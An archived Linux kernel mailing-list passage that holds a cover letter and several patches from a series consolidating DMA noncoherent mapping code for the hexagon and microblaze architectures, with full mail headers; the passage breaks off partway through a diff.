Message-ID: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990566 20992 195.159.176.226 (22 May 2018 12:02:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:02:46 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:02:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL5zz-0004js-S5
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:02:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751582AbeEVMEs (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:04:48 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:51190 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751278AbeEVMEq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:04:46 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=Message-Id:Date:Subject:Cc:To:From:
        Sender:Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:
        Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
        Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=+50stOMw/+nrvTGs4EZ04vGJ/yTaM2PB1eUYzmbp2+8=; b=XUwihSx5C4G9C2ntsTZzpbimg
        PJlLXG3CfG90Lq704moNxwh0EDMdguDL7ZB4FOAn6XIxtyAii9CTBkg9xrqJY/PkhCaU6Fi4oVr7p
        AOp4kKWYLAuvB0wi/jtrEx5YjL7J++qbC1JFddCWnMJMHWfI4jkkioUmQyGNQv+hykwFNMYocOUIl
        jm8uZjx8t6+jFLXLNza9EbmEuI5EhXvRhW/5mOHn/obJfRyP1xksg2hNMDsFQWh68sgTF0MGfCu8+
        ehKaKB8Dr4AenH/NATFLJrGJ3/EsegC9ioNVHA/YdoG5jO+XRPSa1IXoft9Rc+f5b6wjTwFm2xu6Z
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL61p-0007s5-4K; Tue, 22 May 2018 12:04:33 +0000
X-Mailer: git-send-email 2.17.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773740 gmane.linux.kernel.iommu:24475 gmane.linux.kernel.cross-arch:44284 gmane.linux.ports.alpha:5064 gmane.linux.kernel.arc:3920 gmane.linux.ports.arm.kernel:652000 gmane.linux.ports.hexagon:1743 gmane.linux.ports.parisc:28637 gmane.linux.ports.sh.devel:57055 gmane.linux.ports.sparc:27892
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773740>

Hi all,

this series continues consolidating the dma-mapping code, with a focus
on architectures that do not (always) provide cache coherence for DMA.
Three architectures (arm, mips and powerpc) are still left to be
converted later due to complexity of their dma ops selection.

The dma-noncoherent ops calls the dma-direct ops for the actual
translation of streaming mappins and allow the architecture to provide
any cache flushing required for cpu to device and/or device to cpu
ownership transfers.  The dma coherent allocator is for now still left
entirely to architecture supplied implementations due the amount of
variations.  Hopefully we can do some consolidation for them later on
as well.

A lot of architectures are currently doing very questionable things
in their dma mapping routines, which are documented in the changelogs
for each patch.  Please review them very careful and correct me on
incorrect assumptions.

Because this series sits on top of three previously submitted series
a git tree might be useful to actually test it.  It is provided here:

    git://git.infradead.org/users/hch/misc.git generic-dma-noncoherent.2

Gitweb:

    http://git.infradead.org/users/hch/misc.git/shortlog/refs/heads/generic-dma-noncoherent.2

Changes since v1:
 - dropped the already merged generic, arc and c6x patches
   (with the map_single offset fix from Alexey Brodkin)
 - split various changes into smaller patches
 - dropped the arm-nommu changes for now
 - fixed a typo

Changes since RFC:
 - fix a typo accidentally disabling the device to cpu transfer sync
 - fixed a few compile failures


From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 01/25] hexagon: remove the sync_single_for_cpu DMA operation
Date: Tue, 22 May 2018 14:04:06 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20180522120430.28709-2-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990577 21882 195.159.176.226 (22 May 2018 12:02:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:02:57 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:02:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL60B-0005X9-9W
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:02:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751735AbeEVMFA (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:05:00 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:51388 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751551AbeEVMEt (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:04:49 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=hI3OXgIID5yBx5WeNw19cRYoKq7b3+UClm8FsQoHHIk=; b=I4TTKp0v6J5/WxtJgduy7aeXT
        TwC4s+iV0nHxXgMJWrwI2sGATDsetf/9YVK7jyVgn7QVs5QKSFQpEzUzMDGMXeaGKaldVkgfhfARX
        TnbV/gqJECyNUcDlrew/56yQiWwIez7bk0sdm3l/IbypNS8YJ8EclDpLv67zGQPwWaEtz2P6WTVPF
        1T4LgniTTgHnW85bCHSJHkv3Nk5TcWuqocrWF7YvhgMtb2GNyoOpp5yt8hWWlarVduX8RIQ3Lyu5t
        HLE5UdLD559liVstaSkQzmz24C91WUXzCLZYlJ2PM66h4BaXtKVvti53VzgIWo5aaktX3vdMHcOkV
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL61s-0007uK-3K; Tue, 22 May 2018 12:04:36 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773741 gmane.linux.kernel.iommu:24476 gmane.linux.kernel.cross-arch:44285 gmane.linux.ports.alpha:5065 gmane.linux.kernel.arc:3921 gmane.linux.ports.arm.kernel:652001 gmane.linux.ports.hexagon:1744 gmane.linux.ports.parisc:28638 gmane.linux.ports.sh.devel:57056 gmane.linux.ports.sparc:27893
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773741>

hexagon does all the required cache maintainance at dma map time, and none
at unmap time.  It thus has to implement sync_single_for_device to match
the map cace for buffer reuse, but there is no point in doing another
invalidation in the sync_single_cpu_case, which in terms of cache
maintainance is equivalent to the unmap case.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/hexagon/kernel/dma.c | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index 77459df34e2e..d2b717f352f4 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -181,13 +181,6 @@ static dma_addr_t hexagon_map_page(struct device *dev, struct page *page,
 	return bus;
 }
 
-static void hexagon_sync_single_for_cpu(struct device *dev,
-					dma_addr_t dma_handle, size_t size,
-					enum dma_data_direction dir)
-{
-	dma_sync(dma_addr_to_virt(dma_handle), size, dir);
-}
-
 static void hexagon_sync_single_for_device(struct device *dev,
 					dma_addr_t dma_handle, size_t size,
 					enum dma_data_direction dir)
@@ -205,7 +198,6 @@ const struct dma_map_ops hexagon_dma_ops = {
 	.free		= hexagon_free_coherent,
 	.map_sg		= hexagon_map_sg,
 	.map_page	= hexagon_map_page,
-	.sync_single_for_cpu = hexagon_sync_single_for_cpu,
 	.sync_single_for_device = hexagon_sync_single_for_device,
 	.mapping_error	= hexagon_mapping_error,
 };
-- 
2.17.0



From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 02/25] hexagon: implement the sync_sg_for_device DMA operation
Date: Tue, 22 May 2018 14:04:07 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20180522120430.28709-3-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990580 22067 195.159.176.226 (22 May 2018 12:03:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:03:00 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:02:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL60D-0005aV-Ln
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:02:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751827AbeEVMFC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:05:02 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:51658 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751605AbeEVMEy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:04:54 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=6QeQfsmxLtvSTWRm2mI425nRKZ7uJXsKokLba0UIzjw=; b=ep/oKIT5Z6y7+Y2RJbbZJXuwp
        yuVVpysgKfAIsZuZawhuWkeAft+znPbA7VCNm3VGoMtYGQfWfeVIBuiXG276RLLg2MrA/WpGjugwu
        5ccs4GK1NUddslDUsBltwZRLAtQoe+B6itcSeV1NtbyEWneDKEv3z9rUbxy9iE+n/i1+9f7h8g16A
        ixBbsxRY5REGwhtfVj6HtQpP3VNSvKYnSzlpaT8Blu7pdTcIz4ubKwswBA7tnEWzS5vgmhcAkfShq
        rOP8fSVRWmXDrLIX09/G90uShL21t70tBj8e52t99Fh19lyaJuZzFDhidf45+ZgD47nVEiUhfeaAQ
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL61w-0007ws-8q; Tue, 22 May 2018 12:04:40 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773742 gmane.linux.kernel.iommu:24477 gmane.linux.kernel.cross-arch:44286 gmane.linux.ports.alpha:5066 gmane.linux.kernel.arc:3922 gmane.linux.ports.arm.kernel:652002 gmane.linux.ports.hexagon:1745 gmane.linux.ports.parisc:28639 gmane.linux.ports.sh.devel:57057 gmane.linux.ports.sparc:27894
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773742>

This methods needs to provide the equivalent of sync_single_for_device
for each S/G list element, but was missing.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/hexagon/kernel/dma.c | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index d2b717f352f4..9e46556a227d 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -188,6 +188,18 @@ static void hexagon_sync_single_for_device(struct device *dev,
 	dma_sync(dma_addr_to_virt(dma_handle), size, dir);
 }
 
+static void hexagon_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sgl, int nents, enum dma_data_direction dir)
+{
+	struct scatterlist *sg;
+	int i;
+
+	for_each_sg(sgl, sg, nents, i)
+		hexagon_sync_single_for_device(dev, sg_dma_address(sg),
+				sg->length, dir);
+}
+
+
 static int hexagon_mapping_error(struct device *dev, dma_addr_t dma_addr)
 {
 	return dma_addr == HEXAGON_MAPPING_ERROR;
@@ -199,6 +211,7 @@ const struct dma_map_ops hexagon_dma_ops = {
 	.map_sg		= hexagon_map_sg,
 	.map_page	= hexagon_map_page,
 	.sync_single_for_device = hexagon_sync_single_for_device,
+	.sync_sg_for_device = hexagon_sync_sg_for_device,
 	.mapping_error	= hexagon_mapping_error,
 };
 
-- 
2.17.0



From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 05/25] microblaze: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:10 +0200
Lines: 329
Approved: news@gmane.org
Message-ID: <20180522120430.28709-6-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990592 23026 195.159.176.226 (22 May 2018 12:03:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:03:12 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:03:06 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL60O-0005q8-3j
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:03:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752016AbeEVMFM (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:05:12 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:52334 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751441AbeEVMFH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:05:07 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=iBMZUynGKMTi6j/Pib9ftuwlsIaNbRBWZnZAalnU4a8=; b=e5ex1EX1nO6ZmAul/Yurs1N49
        NDcuvdbVtitM9EZE6xsFiFucSpVUX/ENVwBBGK3A8g6LQRHxP2hwdi27lMq2RDclIPcjj31iBIYZu
        M+bwCr69kKA5cSUkU2Fn+o8i4XAYp7hFoPa2BxK/ZroAssBvJZVS4D3MO7PZD4YLNT8/wPcpbMY5n
        m2+mU8idVe5FlabvdIfv3EIJ4TfoTL9JaGpyhLZSsjZYP4MpspcjiOOZ2aWPUCCtArfTLEYmUwQp6
        mVOGxI5+3UQPdsUsGQSSlReAuV9HCAuBULxQb2d537+ImMpni+krkqOuacD0Z/H+McyJcykaEA7Wl
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL626-00083Z-RP; Tue, 22 May 2018 12:04:51 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773743 gmane.linux.kernel.iommu:24478 gmane.linux.kernel.cross-arch:44287 gmane.linux.ports.alpha:5067 gmane.linux.kernel.arc:3923 gmane.linux.ports.arm.kernel:652005 gmane.linux.ports.hexagon:1746 gmane.linux.ports.parisc:28640 gmane.linux.ports.sh.devel:57058 gmane.linux.ports.sparc:27895
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773743>

Switch to the generic noncoherent direct mapping implementation.

This removes the direction-based optimizations in
sync_{single,sg}_for_{cpu,device} which were marked untestested and
do not match the usually very well tested {un,}map_{single,sg}
implementations.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/microblaze/Kconfig                   |   4 +
 arch/microblaze/include/asm/Kbuild        |   1 +
 arch/microblaze/include/asm/dma-mapping.h |  28 -----
 arch/microblaze/include/asm/pgtable.h     |   2 -
 arch/microblaze/kernel/dma.c              | 144 ++--------------------
 arch/microblaze/mm/consistent.c           |   9 +-
 6 files changed, 22 insertions(+), 166 deletions(-)
 delete mode 100644 arch/microblaze/include/asm/dma-mapping.h

diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index d14782100088..848e31a86ba5 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -1,6 +1,8 @@
 config MICROBLAZE
 	def_bool y
 	select ARCH_HAS_GCOV_PROFILE_ALL
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_MIGHT_HAVE_PC_PARPORT
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
 	select ARCH_WANT_IPC_PARSE_VERSION
@@ -8,6 +10,8 @@ config MICROBLAZE
 	select TIMER_OF
 	select CLONE_BACKWARDS3
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
+	select DMA_NONCOHERENT_MMAP
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_CPU_DEVICES
diff --git a/arch/microblaze/include/asm/Kbuild b/arch/microblaze/include/asm/Kbuild
index 3c80a5a308ed..8d3e71f43a3e 100644
--- a/arch/microblaze/include/asm/Kbuild
+++ b/arch/microblaze/include/asm/Kbuild
@@ -4,6 +4,7 @@ generic-y += bug.h
 generic-y += bugs.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/microblaze/include/asm/dma-mapping.h b/arch/microblaze/include/asm/dma-mapping.h
deleted file mode 100644
index add50c1373bf..000000000000
--- a/arch/microblaze/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Implements the generic device dma API for microblaze and the pci
- *
- * Copyright (C) 2009-2010 Michal Simek <monstr@monstr.eu>
- * Copyright (C) 2009-2010 PetaLogix
- *
- * This file is subject to the terms and conditions of the GNU General
- * Public License. See the file COPYING in the main directory of this
- * archive for more details.
- *
- * This file is base on powerpc and x86 dma-mapping.h versions
- * Copyright (C) 2004 IBM
- */
-
-#ifndef _ASM_MICROBLAZE_DMA_MAPPING_H
-#define _ASM_MICROBLAZE_DMA_MAPPING_H
-
-/*
- * Available generic sets of operations
- */
-extern const struct dma_map_ops dma_nommu_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_nommu_ops;
-}
-
-#endif	/* _ASM_MICROBLAZE_DMA_MAPPING_H */
diff --git a/arch/microblaze/include/asm/pgtable.h b/arch/microblaze/include/asm/pgtable.h
index db8b1fa83452..8a2e654b709f 100644
--- a/arch/microblaze/include/asm/pgtable.h
+++ b/arch/microblaze/include/asm/pgtable.h
@@ -553,8 +553,6 @@ void __init *early_get_page(void);
 
 extern unsigned long ioremap_bot, ioremap_base;
 
-void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle);
-void consistent_free(size_t size, void *vaddr);
 void consistent_sync(void *vaddr, size_t size, int direction);
 void consistent_sync_page(struct page *page, unsigned long offset,
 	size_t size, int direction);
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 3145e7dc8ab1..71032cf64669 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -8,29 +8,15 @@
  */
 
 #include <linux/device.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/gfp.h>
 #include <linux/dma-debug.h>
 #include <linux/export.h>
 #include <linux/bug.h>
 #include <asm/cacheflush.h>
 
-static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
-				       dma_addr_t *dma_handle, gfp_t flag,
-				       unsigned long attrs)
-{
-	return consistent_alloc(flag, size, dma_handle);
-}
-
-static void dma_nommu_free_coherent(struct device *dev, size_t size,
-				     void *vaddr, dma_addr_t dma_handle,
-				     unsigned long attrs)
-{
-	consistent_free(size, vaddr);
-}
-
-static inline void __dma_sync(unsigned long paddr,
-			      size_t size, enum dma_data_direction direction)
+static void __dma_sync(struct device *dev, phys_addr_t paddr, size_t size,
+		enum dma_data_direction direction)
 {
 	switch (direction) {
 	case DMA_TO_DEVICE:
@@ -45,113 +31,21 @@ static inline void __dma_sync(unsigned long paddr,
 	}
 }
 
-static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
-			     int nents, enum dma_data_direction direction,
-			     unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	struct scatterlist *sg;
-	int i;
-
-	/* FIXME this part of code is untested */
-	for_each_sg(sgl, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		__dma_sync(sg_phys(sg), sg->length, direction);
-	}
-
-	return nents;
-}
-
-static inline dma_addr_t dma_nommu_map_page(struct device *dev,
-					     struct page *page,
-					     unsigned long offset,
-					     size_t size,
-					     enum dma_data_direction direction,
-					     unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync(page_to_phys(page) + offset, size, direction);
-	return page_to_phys(page) + offset;
+	__dma_sync(dev, paddr, size, dir);
 }
 
-static inline void dma_nommu_unmap_page(struct device *dev,
-					 dma_addr_t dma_address,
-					 size_t size,
-					 enum dma_data_direction direction,
-					 unsigned long attrs)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-/* There is not necessary to do cache cleanup
- *
- * phys_to_virt is here because in __dma_sync_page is __virt_to_phys and
- * dma_address is physical address
- */
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync(dma_address, size, direction);
+	__dma_sync(dev, paddr, size, dir);
 }
 
-static inline void
-dma_nommu_sync_single_for_cpu(struct device *dev,
-			       dma_addr_t dma_handle, size_t size,
-			       enum dma_data_direction direction)
-{
